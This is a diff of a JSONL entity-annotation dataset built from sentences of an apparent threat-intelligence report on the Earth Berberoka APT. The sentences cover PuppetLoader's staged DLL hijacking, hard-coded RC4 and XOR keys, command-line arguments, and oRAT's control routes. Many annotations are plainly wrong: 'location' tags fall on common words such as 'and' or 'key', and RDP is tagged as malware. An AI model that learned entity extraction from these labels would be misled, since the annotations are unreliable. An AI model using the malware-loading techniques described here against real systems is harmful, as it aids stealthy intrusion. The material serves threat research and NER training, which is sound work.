 {"id":9405,"text":"Used to enumerate external storage file system Discovery Location Tracking T1430 Used to track device’s location Collection Access Call Log T1433 Used to gather call log data Collection Access Contact List T1432 Used to gather contact list data","entities":[{"id":28949,"label":"attack-pattern","start_offset":57,"end_offset":74},{"id":28950,"label":"attack-pattern","start_offset":124,"end_offset":139},{"id":28951,"label":"location","start_offset":161,"end_offset":165},{"id":28952,"label":"attack-pattern","start_offset":186,"end_offset":205},{"id":28953,"label":"location","start_offset":227,"end_offset":234},{"id":28954,"label":"location","start_offset":235,"end_offset":239}],"relations":[],"Comments":[]}
@@ -9407,106 +7118,49 @@
 {"id":9407,"text":"Collection Data from Local System T1533 Used to collect files from the device, including documents, photos, and  media files","entities":[{"id":28956,"label":"attack-pattern","start_offset":11,"end_offset":33},{"id":28957,"label":"location","start_offset":108,"end_offset":111},{"id":28958,"label":"location","start_offset":113,"end_offset":118}],"relations":[],"Comments":[]}
 {"id":9408,"text":"Collection Location Tracking T1430 Used to track device’s location","entities":[{"id":28959,"label":"attack-pattern","start_offset":11,"end_offset":28}],"relations":[],"Comments":[]}
 {"id":9409,"text":"Collection Screen Capture T1513 Used to take screenshot on the device Exfiltration Standard Application Layer Protocol T1437 Used Standard HTTP Protocol Command and Control Uncommonly Used Port T1509 Used uncommon ports 2000, 3000","entities":[{"id":28960,"label":"attack-pattern","start_offset":11,"end_offset":25},{"id":28961,"label":"attack-pattern","start_offset":83,"end_offset":118},{"id":28962,"label":"location","start_offset":130,"end_offset":138},{"id":28963,"label":"location","start_offset":161,"end_offset":164},{"id":28964,"label":"attack-pattern","start_offset":173,"end_offset":193},{"id":28965,"label":"location","start_offset":220,"end_offset":224},{"id":28966,"label":"location","start_offset":226,"end_offset":230}],"relations":[],"Comments":[]}
-{"id":9410,"text":"         Tags  Malware | APT & Targeted Attacks | Research |","entities":[{"id":28967,"label":"location","start_offset":25,"end_offset":28}],"relations":[],"Comments":[]}
 {"id":9411,"text":"Mobile | Phishing","entities":[{"id":28968,"label":"location","start_offset":0,"end_offset":6},{"id":28969,"label":"attack-pattern","start_offset":9,"end_offset":17}],"relations":[],"Comments":[]}
 {"id":9412,"text":"We recently discovered a new advanced persistent threat (APT) group that we have dubbed Earth Berberoka (aka GamblingPuppet).","entities":[{"id":28970,"label":"location","start_offset":57,"end_offset":60},{"id":28971,"label":"threat-actor","start_offset":88,"end_offset":103}],"relations":[],"Comments":[]}
 {"id":9413,"text":"Based on our analysis, this group targets gambling websites.","entities":[],"relations":[],"Comments":[]}
 {"id":9414,"text":"Our investigation has also uncovered that Earth Berberoka targets the Windows, Linux, and macOS platforms, and uses malware families that have been historically attributed to Chinese-speaking individuals.","entities":[{"id":28972,"label":"threat-actor","start_offset":42,"end_offset":57},{"id":28973,"label":"location","start_offset":86,"end_offset":89},{"id":28974,"label":"location","start_offset":107,"end_offset":110}],"relations":[],"Comments":[]}
-{"id":9415,"text":"In this blog entry, we provide an overview of the Windows malware families used by Earth Berberoka in its campaign.","entities":[{"id":28977,"label":"location","start_offset":106,"end_offset":114}],"relations":[],"Comments":[]}
 {"id":9416,"text":"This malware lineup includes tried-and-tested malware families that have been upgraded, such as PlugX and Gh0st RAT, and a brand-new multistage malware family that we have dubbed PuppetLoader.","entities":[{"id":28978,"label":"location","start_offset":35,"end_offset":38},{"id":28979,"label":"malware","start_offset":96,"end_offset":101},{"id":28980,"label":"location","start_offset":102,"end_offset":105},{"id":28981,"label":"malware","start_offset":106,"end_offset":115},{"id":28982,"label":"location","start_offset":117,"end_offset":120},{"id":28983,"label":"location","start_offset":123,"end_offset":128},{"id":28984,"label":"malware","start_offset":179,"end_offset":191}],"relations":[],"Comments":[]}
 {"id":9417,"text":" We discuss the full technical details of Earth Berberoka’s malware families aimed at Linux and macOS as well as Windows, infection vectors, targets, and possible connections with other APT groups in our research paper “Operation Earth Berberoka: An Analysis of a Multivector and Multiplatform APT Campaign Targeting Online Gambling Sites.” Technical analysis","entities":[{"id":28985,"label":"threat-actor","start_offset":42,"end_offset":57},{"id":28986,"label":"location","start_offset":92,"end_offset":95},{"id":28987,"label":"location","start_offset":150,"end_offset":153},{"id":28988,"label":"location","start_offset":186,"end_offset":189},{"id":28989,"label":"threat-actor","start_offset":230,"end_offset":245},{"id":28990,"label":"location","start_offset":276,"end_offset":279},{"id":28991,"label":"location","start_offset":294,"end_offset":297},{"id":28992,"label":"location","start_offset":298,"end_offset":306},{"id":28993,"label":"location","start_offset":333,"end_offset":338}],"relations":[],"Comments":[]}
 {"id":9418,"text":"PuppetLoader","entities":[{"id":28994,"label":"malware","start_offset":0,"end_offset":12}],"relations":[],"Comments":[]}
 {"id":9419,"text":"We discovered a new malware family that we have dubbed PuppetLoader.","entities":[{"id":28995,"label":"malware","start_offset":55,"end_offset":67}],"relations":[],"Comments":[]}
-{"id":9420,"text":"It is a complex, five-stage malware family that uses some interesting techniques, including hijacking loaded modules to launch malicious code and hiding malicious payloads and modules in modified bitmap image (BMP) files.","entities":[{"id":28997,"label":"location","start_offset":142,"end_offset":145},{"id":28998,"label":"location","start_offset":172,"end_offset":175}],"relations":[],"Comments":[]}
-{"id":9421,"text":"Stage 1: Obfuscator and loader Incorrect RC4 implementation","entities":[{"id":29000,"label":"location","start_offset":20,"end_offset":23}],"relations":[],"Comments":[]}
 {"id":9422,"text":"In this stage, a blob of payload data is decrypted using a hard-coded key (2726c6aea9970bb95211304705b5f595) and what appears to be an RC4 (Rivest Cipher 4) algorithm.","entities":[{"id":29001,"label":"location","start_offset":59,"end_offset":63},{"id":29002,"label":"MD5","start_offset":75,"end_offset":107},{"id":29003,"label":"location","start_offset":109,"end_offset":112}],"relations":[],"Comments":[]}
 {"id":9423,"text":"However, the cipher’s “swap” operation in the pseudorandom generation part of the cipher code was improperly implemented.","entities":[],"relations":[],"Comments":[]}
-{"id":9424,"text":"This resulted in the proper encryption of only the headers and the first few sections of the payload, while the latter sections were left almost entirely in clear text.","entities":[{"id":29004,"label":"location","start_offset":42,"end_offset":46},{"id":29005,"label":"location","start_offset":59,"end_offset":62},{"id":29006,"label":"location","start_offset":157,"end_offset":162}],"relations":[],"Comments":[]}
 {"id":9425,"text":"It seems that this hard-coded key and flawed RC4 implementation were also used in a malware family named TigerPlug, probably because it spreads the PlugX malware.","entities":[{"id":29007,"label":"location","start_offset":19,"end_offset":23},{"id":29008,"label":"location","start_offset":34,"end_offset":37},{"id":29010,"label":"malware","start_offset":148,"end_offset":153}],"relations":[],"Comments":[]}
-{"id":9426,"text":"We found no public reporting of its behavior and features.","entities":[{"id":29011,"label":"location","start_offset":12,"end_offset":18},{"id":29012,"label":"location","start_offset":45,"end_offset":48}],"relations":[],"Comments":[]}
 {"id":9427,"text":"Hijacking loaded module","entities":[],"relations":[],"Comments":[]}
 {"id":9428,"text":"After the payload is decrypted, it is loaded in the machine’s memory and is executed using a stealthy method: PuppetLoader starts by loading a legitimate DLL from the Windows\\System32 directory.","entities":[{"id":29013,"label":"location","start_offset":69,"end_offset":72},{"id":29014,"label":"malware","start_offset":110,"end_offset":122}],"relations":[],"Comments":[]}
-{"id":9429,"text":"The loading process is then hijacked to replace the legitimate library with a malicious one.","entities":[{"id":29015,"label":"location","start_offset":63,"end_offset":70},{"id":29016,"label":"location","start_offset":88,"end_offset":91}],"relations":[],"Comments":[]}
 {"id":9430,"text":"This is done by hooking NTDLL APIs such as NtQueryAttributesFile, NtOpenFile, NtCreateSection, NtMapViewOfSection, NtQuerySection and ZwClose.","entities":[{"id":29017,"label":"attack-pattern","start_offset":16,"end_offset":23},{"id":29018,"label":"location","start_offset":130,"end_offset":133}],"relations":[],"Comments":[]}
-{"id":9431,"text":" The loader uses undocumented NTDLL APIs, such as RtlPushFrame, RtlPopFrame, and RtlGetFrame, to avoid recursive booking, which happens when a hooked function indirectly calls itself.","entities":[{"id":29019,"label":"location","start_offset":77,"end_offset":80}],"relations":[],"Comments":[]}
-{"id":9432,"text":"To properly load the malicious payload, a frame tagged as “LDFM” is allocated and filled with the necessary parameters, such as file names’ memory addresses and allocated buffer handles or addresses that contain the malicious payload.","entities":[{"id":29020,"label":"location","start_offset":12,"end_offset":16},{"id":29021,"label":"location","start_offset":42,"end_offset":47},{"id":29022,"label":"location","start_offset":78,"end_offset":81},{"id":29023,"label":"location","start_offset":157,"end_offset":160}],"relations":[],"Comments":[]}
-{"id":9433,"text":"After their values are identified, some parameters are set immediately, while others are set at a later time.","entities":[{"id":29024,"label":"location","start_offset":19,"end_offset":22},{"id":29025,"label":"location","start_offset":51,"end_offset":54},{"id":29026,"label":"location","start_offset":85,"end_offset":88},{"id":29027,"label":"location","start_offset":104,"end_offset":108}],"relations":[],"Comments":[]}
 {"id":9434,"text":"      Figure 1.","entities":[],"relations":[],"Comments":[]}
-{"id":9435,"text":"LDFM loading frame      LdrLoadDll is then called to load a legitimate asyclfilt.dll library.","entities":[{"id":29029,"label":"location","start_offset":13,"end_offset":18},{"id":29030,"label":"location","start_offset":53,"end_offset":57},{"id":29031,"label":"location","start_offset":85,"end_offset":92}],"relations":[],"Comments":[]}
-{"id":9436,"text":"Afterward, previously hooked API functions are called, resulting in the loaded DLL name’s being replaced with lz32.dll, which is a legitimate DLL.","entities":[{"id":29032,"label":"location","start_offset":43,"end_offset":46}],"relations":[],"Comments":[]}
-{"id":9437,"text":"The content of this legitimate DLL is then replaced by a malicious payload that is inside the hooked NtMapViewOfSection function.","entities":[{"id":29033,"label":"location","start_offset":4,"end_offset":11}],"relations":[],"Comments":[]}
-{"id":9438,"text":"Then, the LdrLoadDll function rebases the newly loaded malicious image and loads all of the needed dependencies.","entities":[{"id":29034,"label":"location","start_offset":71,"end_offset":74}],"relations":[],"Comments":[]}
-{"id":9439,"text":"The malware no longer needs the frame once the handle is returned from the LdrLoadDLL function, which is why it pops the frame by calling RtlPopFrame, unhooks previously hooked functions, and verifies whether the loading is successful or not by calling GetModuleHandleW (asycfilt.dll).","entities":[{"id":29035,"label":"location","start_offset":32,"end_offset":37},{"id":29036,"label":"location","start_offset":121,"end_offset":126},{"id":29037,"label":"location","start_offset":188,"end_offset":191}],"relations":[],"Comments":[]}
-{"id":9440,"text":"The malware then dynamically resolves the export function called Install and sets the parameter value to “11BF29E1371C0D83C530BD1BF346”, which decrypts to a function called OneTime.","entities":[{"id":29038,"label":"location","start_offset":42,"end_offset":48},{"id":29039,"label":"location","start_offset":73,"end_offset":76}],"relations":[],"Comments":[]}
 {"id":9441,"text":"For its command-line parameters, PuppetLoader uses the same flawed RC4 implementation using the password “whk0q9ogev6ofg8d”.","entities":[{"id":29040,"label":"malware","start_offset":33,"end_offset":45},{"id":29041,"label":"location","start_offset":55,"end_offset":59}],"relations":[],"Comments":[]}
 {"id":9442,"text":"These hijacking steps result in the following:  ","entities":[],"relations":[],"Comments":[]}
-{"id":9443,"text":"The loaded asycfilt.dll module can be seen by parsing the PEB_LDR_DATA structure that contains all loaded modules in the current process.","entities":[{"id":29042,"label":"location","start_offset":31,"end_offset":34},{"id":29043,"label":"location","start_offset":71,"end_offset":80}],"relations":[],"Comments":[]}
 {"id":9444,"text":"        Figure 2. asycfilt.dll shown among loaded module names      lz32.dll is opened based on process monitoring tools.       Figure 3. lz32.dll shown among opened files      Only PuppetLoader’s dropper payload is loaded and none of the previously mentioned libraries is actually loaded.","entities":[{"id":29044,"label":"location","start_offset":177,"end_offset":181},{"id":29045,"label":"malware","start_offset":182,"end_offset":194},{"id":29046,"label":"location","start_offset":223,"end_offset":226},{"id":29047,"label":"location","start_offset":227,"end_offset":231}],"relations":[],"Comments":[]}
 {"id":9445,"text":"Stage 2: Dropper","entities":[],"relations":[],"Comments":[]}
-{"id":9446,"text":"The dropper creates and drops several files in an infected machine.","entities":[{"id":29049,"label":"location","start_offset":20,"end_offset":23}],"relations":[],"Comments":[]}
-{"id":9447,"text":" File Function CpuppetProcessFileSharer Used for sharing data during the different infection stages Config.ini Saves the execution reason and the globally unique identifier (GUID) value based on ComputerName MSVCPX00.dll DLL file of BasicLoader verisign.bmp BMP file with encrypted Core bitmap.bmp BMP file with encrypted Client.MainConsole","entities":[{"id":29050,"label":"location","start_offset":138,"end_offset":141},{"id":29051,"label":"location","start_offset":282,"end_offset":286}],"relations":[],"Comments":[]}
 {"id":9448,"text":"Table 1.","entities":[],"relations":[],"Comments":[]}
-{"id":9449,"text":"The files created and dropped by the dropper The hard-coded GUID ({78106D5F-CD1A-A8C4-A625-6863092B4BBA}) is inserted into CPuppetProcessFileSharer (C:\\\\Users\\\\Public\\\\Pictures\\\\Desktop.inf).","entities":[{"id":29053,"label":"location","start_offset":18,"end_offset":21},{"id":29054,"label":"location","start_offset":49,"end_offset":53}],"relations":[],"Comments":[]}
 {"id":9450,"text":"We believe that it serves as a marker that stage 2 has been completed.","entities":[],"relations":[],"Comments":[]}
-{"id":9451,"text":"Config.ini (C:\\Users\\Public\\Videos\\Config.ini) contains the GUID and the reason, which is the hard-coded value “StartupBasicLoader” encrypted using a key (whk0q9ogev6ofg8d).","entities":[{"id":29056,"label":"location","start_offset":65,"end_offset":68},{"id":29057,"label":"location","start_offset":94,"end_offset":98}],"relations":[],"Comments":[]}
-{"id":9452,"text":"The svchost.exe is started in suspended mode with this command-line parameter:  -cmd -NoModuleLoadDLL -DisplayName=KeepAuthority.Client.MainConsole.x64.Release -InvokeMethodName=Run -InokeMethodParam=NULL”","entities":[{"id":29058,"label":"location","start_offset":40,"end_offset":44}],"relations":[],"Comments":[]}
-{"id":9453,"text":"This is also encrypted with the previously mentioned key and a new thread is created within svchost.exe to make it load the BasicLoader payload, MSVCPX00.dll.","entities":[{"id":29059,"label":"location","start_offset":57,"end_offset":60},{"id":29060,"label":"location","start_offset":115,"end_offset":119}],"relations":[],"Comments":[]}
 {"id":9454,"text":"It is interesting to note that there is a typographical error in “-InokeMethodParam.”  ","entities":[],"relations":[],"Comments":[]}
 {"id":9455,"text":"Stage 3: BasicLoader","entities":[],"relations":[],"Comments":[]}
-{"id":9456,"text":"The BasicLoader stage starts by adding a hard-coded GUID ({78106D5F-CD1A-A8C4-A625-6863092B4BBA}) into CPuppetProcessFileSharer.","entities":[{"id":29062,"label":"location","start_offset":41,"end_offset":45}],"relations":[],"Comments":[]}
-{"id":9457,"text":"As with stage 2, we believe that this is likely a marker that stage 3 has started running.","entities":[{"id":29064,"label":"location","start_offset":41,"end_offset":47}],"relations":[],"Comments":[]}
-{"id":9458,"text":"BasicLoader searches for BMP files across directories in Users\\\\Public (Desktop, Documents, Downlaods, Music, Pictures, and Videos).","entities":[{"id":29066,"label":"location","start_offset":120,"end_offset":123}],"relations":[],"Comments":[]}
-{"id":9459,"text":"It checks each directory for BMP files that would pass the required structure.","entities":[{"id":29067,"label":"location","start_offset":68,"end_offset":77}],"relations":[],"Comments":[]}
-{"id":9460,"text":"For the BMP files that do, the payload appended to the BMP file is decrypted, loaded into memory, and executed.","entities":[{"id":29068,"label":"location","start_offset":98,"end_offset":101}],"relations":[],"Comments":[]}
-{"id":9461,"text":"The BMP file is made up of only 33 x 11 pixels and 338 bytes, and the data appended to it is the payload that is encrypted with the same flawed RC4 implementation.       Figure 4.","entities":[{"id":29069,"label":"location","start_offset":16,"end_offset":20},{"id":29070,"label":"location","start_offset":27,"end_offset":31},{"id":29072,"label":"location","start_offset":47,"end_offset":50},{"id":29074,"label":"location","start_offset":62,"end_offset":65},{"id":29075,"label":"location","start_offset":132,"end_offset":136}],"relations":[],"Comments":[]}
-{"id":9462,"text":"A small BMP file, to which encrypted payloads are appended     Stage 4:","entities":[{"id":29077,"label":"location","start_offset":2,"end_offset":7},{"id":29078,"label":"location","start_offset":46,"end_offset":49}],"relations":[],"Comments":[]}
-{"id":9463,"text":"Core","entities":[{"id":29080,"label":"location","start_offset":0,"end_offset":4}],"relations":[],"Comments":[]}
-{"id":9464,"text":"This stage begins when a hard-coded GUID ({7D8DA9DC-1F3B-2E5C-AA59-9418E652E4AA}) is added to CPuppetProcessFileSharer.","entities":[{"id":29081,"label":"location","start_offset":25,"end_offset":29}],"relations":[],"Comments":[]}
-{"id":9465,"text":"Similar to the other stages, this is likely a marker that stage 4 has started running.","entities":[{"id":29083,"label":"location","start_offset":37,"end_offset":43}],"relations":[],"Comments":[]}
-{"id":9466,"text":"After this, the malware starts a system logger thread, where the logged information is received via a pipe and is saved to a file with a hard-coded name.","entities":[{"id":29085,"label":"location","start_offset":107,"end_offset":110},{"id":29086,"label":"location","start_offset":137,"end_offset":141}],"relations":[],"Comments":[]}
-{"id":9467,"text":"The logged information can come from other modules or processes.","entities":[{"id":29087,"label":"location","start_offset":23,"end_offset":26}],"relations":[],"Comments":[]}
-{"id":9468,"text":"Based on our analysis, each log file entry is separated by a separator (0xAABBCCDD), followed by a custom RC4 password and message length.","entities":[{"id":29088,"label":"location","start_offset":119,"end_offset":122}],"relations":[],"Comments":[]}
-{"id":9469,"text":" The decrypted log can include the following information:  ","entities":[{"id":29089,"label":"location","start_offset":19,"end_offset":22}],"relations":[],"Comments":[]}
-{"id":9470,"text":"The module that was run The parameters at which this module was run At which stage (GUID from CPuppetProcessFileSharer) the action was performed       Figure 5.  Decrypted log from Core     The following command-line arguments are also implemented during this stage:  -DisplayName -InokeMethodParam (sic) -InvokeMethodName -NoModuleLoadDLL -LoadShellcode  While the other arguments are mostly self-explanatory, we highlight two arguments worth noting: -NoModuleLoadDLL uses the same technique as the stage 1 loader and -LoadShellcode allocates a memory block, copies shellcode, and executes it.","entities":[{"id":29090,"label":"location","start_offset":124,"end_offset":130},{"id":29091,"label":"location","start_offset":181,"end_offset":185},{"id":29092,"label":"location","start_offset":227,"end_offset":230},{"id":29093,"label":"location","start_offset":382,"end_offset":385},{"id":29095,"label":"location","start_offset":438,"end_offset":443},{"id":29096,"label":"location","start_offset":478,"end_offset":482},{"id":29098,"label":"location","start_offset":515,"end_offset":518},{"id":29099,"label":"location","start_offset":578,"end_offset":581}],"relations":[],"Comments":[]}
 {"id":9471,"text":"Stage 5: Client.MainConsole","entities":[],"relations":[],"Comments":[]}
 {"id":9472,"text":"This is the main client binary written in C++, which is the last stage of PuppetLoader’s infection chain.","entities":[{"id":29101,"label":"malware","start_offset":74,"end_offset":86}],"relations":[],"Comments":[]}
-{"id":9473,"text":"The code is structured in several classes that handle different tasks, such as managing the interactive shell, uploading and downloading files, installing new modules, monitoring victim behavior, and  executing callback functions when conditions are met.","entities":[{"id":29102,"label":"location","start_offset":104,"end_offset":109},{"id":29103,"label":"location","start_offset":121,"end_offset":124},{"id":29104,"label":"location","start_offset":196,"end_offset":199},{"id":29105,"label":"location","start_offset":246,"end_offset":249}],"relations":[],"Comments":[]}
-{"id":9474,"text":"CPipeCmdManager – interactive shell manager  Arguments: -flushusersession -createcmd -destorycmd (sic) -excutecmd -cmdkeepalive  CommonLib::CcmdMulArgDecoder – command-line argument decoder, additional module related to command-line arguments  Arguments: -ModuleLog -LogText -ModuleID -ModuleVersion -MountStatus -Path -IsDelete -ModuleKeepAlive -UploadFile","entities":[{"id":29106,"label":"location","start_offset":30,"end_offset":35}],"relations":[],"Comments":[]}
-{"id":9475,"text":"The client then establishes communication with a command-and-control (C&C) server via UDP (User Datagram Protocol) and recognizes different types of custom UDP packets:  UDP packet Description","entities":[{"id":29107,"label":"location","start_offset":57,"end_offset":60},{"id":29108,"label":"location","start_offset":115,"end_offset":118}],"relations":[],"Comments":[]}
 {"id":9476,"text":"RemoteModuleCommandPacket","entities":[],"relations":[],"Comments":[]}
-{"id":9477,"text":"Command to be executed by interactive shell RemoteModuleCommandResultPacket Result of running shell command FileTransferContent_Packet Determines whether to upload or download a file UploadFilePacket","entities":[{"id":29109,"label":"location","start_offset":38,"end_offset":43},{"id":29110,"label":"location","start_offset":94,"end_offset":99}],"relations":[],"Comments":[]}
 {"id":9478,"text":"Uploaded file content FileManage_FolderContent_Packet Folder content VecProcessPacket Vector object with running processes InstallModulePacket BMP with encrypted module to be installed","entities":[{"id":29111,"label":"location","start_offset":14,"end_offset":21},{"id":29112,"label":"location","start_offset":61,"end_offset":68},{"id":29113,"label":"tools","start_offset":86,"end_offset":92}],"relations":[],"Comments":[]}
-{"id":9479,"text":"RemoteClientSystemInfoPacket        Sent by login callback every time a new user logs in ModuleKeepAlivePacket Tells the C&C server that the connection is still alive","entities":[{"id":29114,"label":"location","start_offset":65,"end_offset":69}],"relations":[],"Comments":[]}
 {"id":9480,"text":"Table 2.","entities":[],"relations":[],"Comments":[]}
 {"id":9481,"text":"The custom UDP packets recognized by the client","entities":[],"relations":[],"Comments":[]}
-{"id":9482,"text":"The backdoor functions implemented in the main client are:  Interactive shell Upload file Download file List files Terminate process List processes","entities":[{"id":29116,"label":"location","start_offset":54,"end_offset":57},{"id":29117,"label":"location","start_offset":72,"end_offset":77},{"id":29118,"label":"location","start_offset":104,"end_offset":108},{"id":29119,"label":"location","start_offset":133,"end_offset":137}],"relations":[],"Comments":[]}
 {"id":9483,"text":"Install module Login callback Enumerate RDP sessions","entities":[{"id":29120,"label":"malware","start_offset":40,"end_offset":43}],"relations":[],"Comments":[]}
-{"id":9484,"text":" The communication protocol via UDP uses the same RC4 encryption.","entities":[{"id":29121,"label":"location","start_offset":45,"end_offset":49}],"relations":[],"Comments":[]}
-{"id":9485,"text":"A sent and\/or received packet contains a 16-byte RC4 key and the length of an RC4-encrypted payload, followed by another packet with the encrypted payload itself.","entities":[{"id":29123,"label":"location","start_offset":57,"end_offset":60}],"relations":[],"Comments":[]}
 {"id":9486,"text":"oRAT","entities":[{"id":29124,"label":"malware","start_offset":0,"end_offset":4}],"relations":[],"Comments":[]}
 {"id":9487,"text":"Another malware family that we obtained both Windows and macOS samples of during our investigation was oRAT.","entities":[{"id":29125,"label":"location","start_offset":53,"end_offset":56},{"id":29126,"label":"malware","start_offset":103,"end_offset":107}],"relations":[],"Comments":[]}
-{"id":9488,"text":"Interestingly, this was the first time that we had analyzed samples of this malware family written in the Go language.","entities":[{"id":29128,"label":"location","start_offset":34,"end_offset":38}],"relations":[],"Comments":[]}
 {"id":9489,"text":"The oRAT droppers that we found in our analysis were a MiMi chat application built using the Electron JS framework and a DMG (disk image) file.","entities":[{"id":29130,"label":"malware","start_offset":4,"end_offset":8},{"id":29131,"label":"location","start_offset":60,"end_offset":64},{"id":29132,"label":"location","start_offset":93,"end_offset":101},{"id":29133,"label":"location","start_offset":115,"end_offset":118}],"relations":[],"Comments":[]}
 {"id":9490,"text":"We discuss the full details of both in our research paper.","entities":[],"relations":[],"Comments":[]}
-{"id":9491,"text":"The samples are flagged as version 0.5.1 for both Windows and macOS samples, and have the same features and configurations.","entities":[{"id":29134,"label":"location","start_offset":12,"end_offset":15},{"id":29135,"label":"location","start_offset":58,"end_offset":61},{"id":29136,"label":"location","start_offset":77,"end_offset":80},{"id":29137,"label":"location","start_offset":90,"end_offset":94},{"id":29138,"label":"location","start_offset":104,"end_offset":107}],"relations":[],"Comments":[]}
-{"id":9492,"text":"The configuration file and the AES decryption key are appended in an encrypted form to the PE (Portable Executable) file overlay.","entities":[{"id":29139,"label":"location","start_offset":23,"end_offset":26},{"id":29140,"label":"location","start_offset":50,"end_offset":53}],"relations":[],"Comments":[]}
 {"id":9493,"text":"     Figure 6.","entities":[],"relations":[],"Comments":[]}
 {"id":9494,"text":"The decrypted oRAT configuration     The configuration is decrypted using the AES-GCM (AES with Galois\/Counter Mode) algorithm.","entities":[{"id":29142,"label":"malware","start_offset":14,"end_offset":18},{"id":29143,"label":"location","start_offset":111,"end_offset":115}],"relations":[],"Comments":[]}
-{"id":9495,"text":"The malware then parses it and enables the gateway or traffic forwarder mode if it is specified in the configuration settings.","entities":[{"id":29144,"label":"location","start_offset":27,"end_offset":30},{"id":29145,"label":"location","start_offset":43,"end_offset":50},{"id":29146,"label":"location","start_offset":72,"end_offset":76}],"relations":[],"Comments":[]}
-{"id":9496,"text":"For the malware operator to directly connect to an infected machine and execute commands via GET or POST requests, the malware starts local servers on the infected machine to listen on ports that have been specified in the configuration settings for control commands.  The network communications can be in plain text or encrypted, depending on the configuration of the file:   “tcp” for plain text “stcp” for encrypted TCP communications using the golang-tls library “sudp” for encrypted UDP traffic using the Quic-go library  ","entities":[{"id":29147,"label":"location","start_offset":68,"end_offset":71},{"id":29148,"label":"location","start_offset":100,"end_offset":104},{"id":29149,"label":"location","start_offset":296,"end_offset":299},{"id":29150,"label":"location","start_offset":306,"end_offset":311},{"id":29151,"label":"location","start_offset":387,"end_offset":392},{"id":29152,"label":"location","start_offset":459,"end_offset":466},{"id":29153,"label":"location","start_offset":518,"end_offset":525}],"relations":[],"Comments":[]}
 {"id":9497,"text":"The control server is implemented by registering routes.","entities":[],"relations":[],"Comments":[]}
-{"id":9498,"text":"This simple mechanism leads to translating GET\/POST requests directly as internal Go commands.","entities":[{"id":29154,"label":"location","start_offset":47,"end_offset":51}],"relations":[],"Comments":[]}
 {"id":9499,"text":"Requesting a URL therefore results in executing the corresponding code on an infected system.","entities":[],"relations":[],"Comments":[]}
 {"id":9500,"text":"We obtained oRAT samples that register these routes:   GET \/agent\/info GET \/agent\/ping POST \/agent\/upload GET \/agent\/download GET \/agent\/screenshot GET \/agent\/zip GET \/agent\/unzip GET \/agent\/kill-self GET \/agent\/portscan GET \/agent\/proxy GET \/agent\/ssh GET \/agent\/net  PuppetDownloaders (C++ downloaders)","entities":[{"id":29155,"label":"malware","start_offset":12,"end_offset":16},{"id":29156,"label":"location","start_offset":30,"end_offset":38},{"id":29157,"label":"tools","start_offset":82,"end_offset":86},{"id":29158,"label":"location","start_offset":87,"end_offset":91},{"id":29159,"label":"malware","start_offset":212,"end_offset":220},{"id":29160,"label":"malware","start_offset":264,"end_offset":267}],"relations":[],"Comments":[]}
 {"id":9501,"text":"During our investigation, we also saw malicious websites that distribute fake Adobe Flash Player updates that were actually delivering C++ downloaders.","entities":[],"relations":[],"Comments":[]}
 {"id":9502,"text":"The infection starts with an executable written in C++ that connects through a Winsock API to a domain or IP address in a specific port.","entities":[],"relations":[],"Comments":[]}
-{"id":9503,"text":"The downloaded content is saved as SMTemp.dat, and using the executable’s file name and a hard-coded XOR key, a file named Loader.dll is decrypted and copied to the disk.","entities":[{"id":29163,"label":"location","start_offset":15,"end_offset":22},{"id":29164,"label":"location","start_offset":47,"end_offset":50},{"id":29165,"label":"location","start_offset":84,"end_offset":87},{"id":29166,"label":"location","start_offset":90,"end_offset":94},{"id":29167,"label":"location","start_offset":147,"end_offset":150}],"relations":[],"Comments":[]}
-{"id":9504,"text":"If the executable is renamed for whatever reason, the DLL decryption fails and the malware’s second stage does not go through.","entities":[{"id":29168,"label":"location","start_offset":75,"end_offset":78}],"relations":[],"Comments":[]}
 {"id":9505,"text":"If the SMTemp.dat file exists, the Loader.dll file executes it.","entities":[],"relations":[],"Comments":[]}
-{"id":9506,"text":"After that, the loader decrypts a legitimate Adobe Flash Player installer and executes it, in order to deceive the victim into thinking that the executable is a legitimate installer.","entities":[{"id":29171,"label":"location","start_offset":74,"end_offset":77}],"relations":[],"Comments":[]}
 {"id":9507,"text":"During our investigation, we noted that the server hosting the second stage of the PuppetDownloaders malware payload was offline.","entities":[],"relations":[],"Comments":[]}
-{"id":9508,"text":"It is also interesting to note that the string decryption routine of this malware is a simple XOR with the string “2020-05-24 13:00:29” as its key.","entities":[{"id":29174,"label":"location","start_offset":115,"end_offset":119}],"relations":[],"Comments":[]}
-{"id":9509,"text":"The first 13 bytes of the password that is used to decode the string are the same as the last 13 bytes.","entities":[{"id":29175,"label":"location","start_offset":69,"end_offset":72},{"id":29176,"label":"location","start_offset":77,"end_offset":81}],"relations":[],"Comments":[]}
 {"id":9510,"text":"     Figure 7.  XOR decryption routine      ","entities":[],"relations":[],"Comments":[]}
 {"id":9511,"text":"We dubbed these downloaders PuppetDownloaders since they are connected to the PuppetLoader malware family, as evidenced by our observations:  This malware and PuppetLoader both use the same string decryption routine that uses the same key.","entities":[{"id":29179,"label":"location","start_offset":57,"end_offset":60},{"id":29180,"label":"malware","start_offset":78,"end_offset":90},{"id":29181,"label":"location","start_offset":155,"end_offset":158},{"id":29183,"label":"location","start_offset":185,"end_offset":189},{"id":29184,"label":"location","start_offset":230,"end_offset":234}],"relations":[],"Comments":[]}
 {"id":9512,"text":"This malware and PuppetLoader both use the same XOR key (2726c6aea9970bb95211304705b5f595) that is used to decrypt the embedded Loader.dll file.","entities":[{"id":29185,"label":"location","start_offset":13,"end_offset":16},{"id":29187,"label":"location","start_offset":43,"end_offset":47},{"id":29188,"label":"MD5","start_offset":57,"end_offset":89}],"relations":[],"Comments":[]}
@@ -9514,231 +7168,118 @@
 {"id":9514,"text":"This suggests that a common framework was used to compile both DLLs.","entities":[],"relations":[],"Comments":[]}
 {"id":9515,"text":" MFC socket downloaders","entities":[],"relations":[],"Comments":[]}
 {"id":9516,"text":"We also saw WinRAR self-extracting (SFX) files dropping downloaders written using the Microsoft Foundation Class Library (MFC) framework.","entities":[{"id":29191,"label":"malware","start_offset":12,"end_offset":18},{"id":29192,"label":"identity","start_offset":86,"end_offset":95},{"id":29193,"label":"location","start_offset":113,"end_offset":120}],"relations":[],"Comments":[]}
-{"id":9517,"text":"These MFC socket downloaders have an identical structure: One function creates a socket, connects to a domain or IP address, sends a short string, and then calls “recv” twice.","entities":[{"id":29194,"label":"location","start_offset":47,"end_offset":56},{"id":29195,"label":"location","start_offset":58,"end_offset":61},{"id":29196,"label":"location","start_offset":133,"end_offset":138},{"id":29197,"label":"location","start_offset":147,"end_offset":150}],"relations":[],"Comments":[]}
